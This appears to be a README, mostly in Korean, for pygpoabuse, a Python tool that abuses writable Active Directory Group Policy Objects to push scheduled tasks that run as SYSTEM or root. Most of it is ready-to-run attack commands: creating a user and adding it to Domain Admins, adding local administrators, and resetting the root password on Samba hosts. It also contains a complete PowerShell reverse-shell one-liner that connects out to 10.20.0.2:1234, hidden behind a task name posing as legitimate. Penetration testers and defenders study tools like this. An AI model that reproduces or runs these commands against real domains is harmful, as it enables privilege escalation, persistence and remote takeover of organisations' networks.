
SharpGPOAbuse의 부분적 파이썬 구현
Host/User targeting via filters (mirrors SharpGPOAbuse --FilterEnabled):
-filter-enabled Enable GPO Host/User targeting so the scheduled task only runs for a specific host/user
-target-dns-name FQDN
Computer task: DNS/FQDN of the only host that should run the task (e.g. dc01.corp.local)
-target-username DOMAIN\USER
User task: only this user processes the task (format: DOMAIN\username)
-target-user-sid SID User task: SID of the targeted user (optional, more robust matching)
# Add Domain user and add to Domain Admins via Domain-Controller
python3 pygpoabuse.py red.local/user:Testing123 -gpo-id D9A65E7F-112D-49B9-AF7A-4FC2BA092BF6 -taskname SecurityUpdate -dc-ip 192.168.152.2 -command 'net user UserGPO P@ssw0rd /add && net group "Domain Admins" UserGPO /add' -filter-enabled -target-dns-name dc01.red.local
SharpGPOAbuse(@pkb1s 제작)의 Python 부분 구현
이 도구는 제어된 계정이 하나 이상의 사용자 및 컴퓨터에 적용되는 기존 GPO를 수정할 수 있을 때 사용할 수 있습니다. 컴퓨터 GPO의 경우 원격 컴퓨터에서 즉시 예약 작업을 SYSTEM으로 생성하고, 사용자 GPO의 경우 로그인한 사용자로 생성합니다.
기본 동작은 로컬 관리자를 추가합니다.

john 사용자를 로컬 관리자 그룹에 추가 (비밀번호: H4x00r123..)
./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012"
리버스 셸 예시
./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012" \
-powershell \
-command "\$client = New-Object System.Net.Sockets.TCPClient('10.20.0.2',1234);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()" \
-taskname "Completely Legit Task" \
-description "Dis is legit, pliz no delete" \
-user
실행 후 예약 작업을 삭제합니다.
./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012" --cleanup
이 도구는 Samba AD 도메인에서도 사용할 수 있습니다. 컴퓨터 GPO의 경우 원격 컴퓨터에서 root로 즉시 작업을 생성합니다.
먼저 Bash 스크립트 또는 ELF 파일을 생성합니다.
#!/bin/bash
echo "root:1234" | chpasswd
그런 다음 --linux-exec 인수와 함께 도구를 실행합니다.
./pygpoabuse.py DOMAIN/user:password -gpo-id "12345677-ABCD-9876-ABCD-123456789012" --linux-exec /path/to/executable
